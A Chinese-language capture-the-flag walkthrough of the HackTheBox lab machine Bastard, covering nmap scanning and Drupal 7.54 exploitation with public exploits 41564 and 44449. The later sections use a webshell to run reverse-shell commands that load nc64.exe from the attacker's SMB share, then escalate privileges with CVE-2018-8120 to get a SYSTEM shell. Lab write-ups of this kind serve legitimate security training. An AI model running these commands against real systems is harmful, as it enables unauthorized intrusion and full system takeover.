连接到HackTheBox

在HTB网站下载vpn文件,使用openvpn进行连接

1
sudo openvpn lab_dguthacker.ovpn

连接成功后启动靶机,对靶机进行ping测试,测试连接稳定性,并查看本机在虚拟网络中的地址

image-20230724131823342

可以看到本机ip为10.10.16.3,与靶机10.10.10.9连接延迟110+ms,无丢包,连接较稳定。

nmap信息收集

TCP端口信息收集

1
sudo nmap -sT --min-rate 10000 -p- 10.10.10.9 -oA nmapscan/ports

解析:

  • -sT:TCP扫描
  • –min-rate 10000:最小速率10000
  • -p-:全端口扫描
  • -oA:结果全格式输出保存到nmapscan/ports

image-20230724133655904

从结果上看,有三个端口是开放的。

进行UDP端口信息收集

1
sudo nmap -sU --top-ports 20 10.10.10.9 -oA nmapscan/UDP

解析:

  • -sU:UDP扫描
  • –top-ports 20:最常用的20个端口

image-20230724133542942

可以看到扫描结果都是open|filtered的状态,没有利用价值。

进行详细信息扫描

1
sudo nmap -sT -sV -sC -O -p80,135,49154 10.10.10.9 -oA nmapscan/detail

解析:

  • -sV:探测各服务版本
  • -sC:使用默认脚本扫描
  • -O:探测操作系统
  • -p80,135,49154:指定上面TCP扫描出来的三个端口

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT      STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Bastard | Bastard
|_http-server-header: Microsoft-IIS/7.5
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 8|Phone|7|2008|8.1|Vista (92%)
OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

结果解析:

  • 80/tcp open http Microsoft IIS httpd 7.5:使用的是IIS httpd 7.5版本

  • |_http-generator: Drupal 7 (http://drupal.org):网页使用的框架为Drupal 7

  • 其中包含一些文件:

    | http-robots.txt: 36 disallowed entries (15 shown)
    | /includes/ /misc/ /modules/ /profiles/ /scripts/
    | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
    | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
    |_/LICENSE.txt /MAINTAINERS.txt

  • 135和49154都是RPC,即远程调用,功能性服务

  • 这些是操作系统可能性的列表:

    Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows Embedded Standard 7 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (89%)

    我们也可以通过IIS的版本来判断Windows的版本

    image-20230724153530071

WEB渗透测试

由于存在WEB服务,因此我们可以使用一些WEB渗透的思路来对服务器进行测试。

WHATWEB扫描网站

由于存在80服务,即网页服务,所以我们可以通过WHATWEB来扫描网站信息

1
whatweb 10.10.10.9

image-20230724153701949

弱密码尝试

首先我们想到使用默认密码,但是我们经过搜索引擎查询发现,Drupal似乎不存在默认密码。现代化的框架大多不会存在默认密码,都会给出一串随机密码,或者是要求首次登录就修改密码。

然后我们就来尝试常见的密码,例如admin/admin之类的,随便试几个即可,发现都失败了。

image-20230724202347793

robots信息利用

我们在nmap详细信息扫描时,发现是存在robots文件的,robots文件内包含着许多目录

image-20230725151641367

我们注意到有一个/CHANGELOG.txt,这个文件我们需要注意,往往里面包含着一些我们可能用得上的信息。其他文件我们还需要注意READMEupdate之类的文件,都会包含一些对我们有效的信息。现在我们打开CHANGELOG.txt

image-20230725161642951

我们得知Drupal具体的版本信息为7.54。用searchsploit搜索drupal相关的可利用漏洞,在结果比较多的情况下,我们可以先搜索全部漏洞,然后用排除参数排除掉我们不需要的关键词

现在我们排除关键词MetasploitDenial of Service

1
searchsploit drupal --exclude="(Metasploit)|Denial of Service"

image-20230725194611795

经过我们再次手动筛选后,可以筛选出几个符合我们版本号的漏洞

  • Drupal 7.x Module Services - Remote Code Execution
  • Drupal < 7.58 - ‘Drupalgeddon3’ (Authenticated) Remote Code Execution (PoC)
  • Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - ‘Drupalgeddon2’ Remote Code Execution

我们将这三个漏洞利用方法下载下来

image-20230725195144846

我们使用ls -lah可以看到我们已经将利用方式下载下来了。

41564漏洞使用尝试

使用任意编辑器打开文件,阅读注释

image-20230725195611028

翻译一下大概是

  1. 使用SQL注入获取当前端点的缓存内容,包括管理员凭据和哈希值。
  2. 修改缓存,使我们能够写入文件,并执行操作。
  3. 还原缓存。

接着我们需要修改php内的相关参数,完成一些选项的初始化。

通过注释,我们可以发现需要完成初始化设置的部分

image-20230726115756912

其中我们需要注意到的是urlendpoint_pathendpointfile四个部分。url修改为我们的目标,即10.10.10.9,而endpoint_path、endpoint我们不清楚,暂时将其留空。file部分,是我们自定义上传的部分,我们将filename修改成我们自己想要的名称,而data部分填入要在文件内填入的内容,也就是我们的webshell的部分。

image-20230726144748877

保存退出,并执行php 41564.php。发现出现了报错

image-20230726145111772

这应该是因为我们没有初始化endpoint_path、endpoint部分,我们可以查阅漏洞发布的网站。

我们先来了解一下endpoint和rest_endpoint是什么,来看GPT给出的回答

在Drupal中,“endpoint” 通常指的是与网站或应用程序进行交互的特定URL路径或终点。它可以是用于访问特定功能或服务的端点。在Drupal中,端点可以对应于不同的功能、API请求、页面或其他特定的操作。通过访问这些端点,可以与 Drupal 系统进行交互并执行相应的操作,例如获取、创建、更新或删除内容、用户管理等。每个端点都有其对应的功能和处理逻辑。

在Drupal中,rest_endpoint 是指用于提供 RESTful Web 服务的特定路径或端点。REST(Representational State Transfer)是一种用于构建分布式系统和设计网络应用程序的软件架构风格。在Drupal中,RESTful Web 服务允许通过 HTTP 请求与网站进行交互,并使用标准的HTTP方法(如GET、POST、PUT、DELETE)来执行各种操作,例如获取、创建、更新或删除内容。rest_endpoint 在Drupal中通常在配置中指定,用于定义 RESTful Web 服务的根路径或可用端点的URL模式。它确定了与 Drupal 系统进行通信时需要访问的特定路径,以便使用 RESTful API 进行数据传输和操作。通过这些端点,可以与 Drupal 网站进行数据交互和集成,从而实现自定义应用程序或与其他系统的集成。

在网站官网,我们找到了这样一句话

The exploitation is completely stealth. Nevertheless, one has to guess or find the endpoint URL, which mitigates the vulnerability a bit.

这个利用过程完全隐秘。然而,仍然需要猜测或找到端点的URL,这在一定程度上减轻了漏洞的影响。

也就是说endpoint的url是需要我们猜测或者是寻找的,这时候我们只能用到目录爆破了。

目录爆破找到endpoint

我们使用到dirsearch进行目录爆破

1
python3 ../../dirsearch/dirsearch.py -u http://10.10.10.9 -x 403,404,503 -t 50

解析:

这个目录爆破将会非常久,长达几个小时。

在经过漫长的等待后,我们在爆破的结果中,发现了一个目录——/rest,立即访问尝试

image-20230726153536492

证明/rest确实是我们需要的url。

拿取WebShell

我们可以返回41564.php,修改相关参数

image-20230726153653390

执行php 41564.php,显示成功

image-20230726153809580

给我们的信息为

  • 保存了session信息在session.json
  • 保存了用户信息在user.json
  • 向缓存写入了7条记录
  • 已成功写入文件10.10.10.9/1ce.php

我们尝试访问10.10.10.9/1ce.php,看是否拿到了webshell

image-20230726154318438

很明显我们已经成功拿到webshell。现在我们需要考虑如何利用我们的webshell了,我们这里尝试使用nc制作反弹shell。

从互联网下载一个Windows版本的nc,然后使用smb让被攻击靶机能够使用我们下载的nc。

image-20230726173331957

此命令的含义为以当前文件夹建立一个叫share的smb共享。然后我们开启一个nc的监听

1
sudo nc -lvnp 4444

然后我们构建url让webshell执行nc

1
10.10.10.9/1ce.php?1ce=\\10.10.16.3\share\nc64.exe -e cmd.exe 10.10.16.3 4444

image-20230726173934436

我们在nc监听处看到shell,这一步做完,我们就拿到了初始权限的shell。

我们在用户目录下就可以找到我们需要的flag

image-20230726174249837

提交验证,完成第一个flag。

实际上还有第二种方式可以拿到webshell,思路大概就是通过我们之前拿到的admin的session,直接通过框架的内容编辑器,然后植入php代码作为webshell。

44449漏洞利用

由于忘记续靶机时长了,导致进度重置。那就试试剩下两种方法的。这个利用基本上是一键就可以成功利用

image-20230728162223472

现在我们已经拿到了一个webshell

image-20230728170003422

似乎具有一定限制,我们无法切换目录,我们现在使用nc将一个shell反弹出去,使我们能用到我们熟悉的shell。执行下面的命令

1
\\10.10.16.4\share\nc64.exe -e cmd.exe 10.10.16.4 4444

在此之前,我们在本机上执行监听

1
sudo nc -lvnp 4444

等待一会后,我们在本机的nc监听上看见了反弹shell

image-20230728213526812

与我们之前的效果一致。接下来的步骤与之前都类似了,不再赘述。

Windows提权

现在我们还需要获取到Root的flag。首先我们可以确定的是,Administrator文件夹内我们是无法进去的。

image-20230728214545597

因此我们需要提升权限以读取到Administrator用户文件夹内的flag。

我们通过systeminfo可知,该系统是没有进行热修复(Hotfix)的。

image-20230728214843093

因为大概率上随便寻找一个在Microsoft Windows Server 2008 R2提权漏洞就可以成功提权。

我们在Github Windows提权漏洞合集(SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com))中搜索R2作为关键词,搜索符合Windows 2008 r2的漏洞。

由于没有Hotfix,所以我们随便点开一个windows-kernel-exploits/CVE-2018-8120 at master · SecWiki/windows-kernel-exploits (github.com)。使用wget下载到我们之前smb共享的目录下,且在远程主机上执行

image-20230729163621022

可以看到,我们已经取得了最高等级的系统权限。然后我们将whoami替换成反弹shell的命令,并开启另外一个监听窗口

1
\\10.10.16.4\share\x64.exe "\\10.10.16.4\share\nc64.exe -e cmd.exe 10.10.16.4 3333"

结果发现无法执行

image-20230729170440982

这种情况,大概可以通过重新连接可以解决,因为我们在使用利用程序的时候,环境可能发生了一些变化,导致第二次无法正常执行。重新连接后,我们再次尝试相同的命令

image-20230729170711504

成功得到system级别权限的shell。进入文件夹取得flag

image-20230729170901624

提交flag,完成机器

image-20230729172717759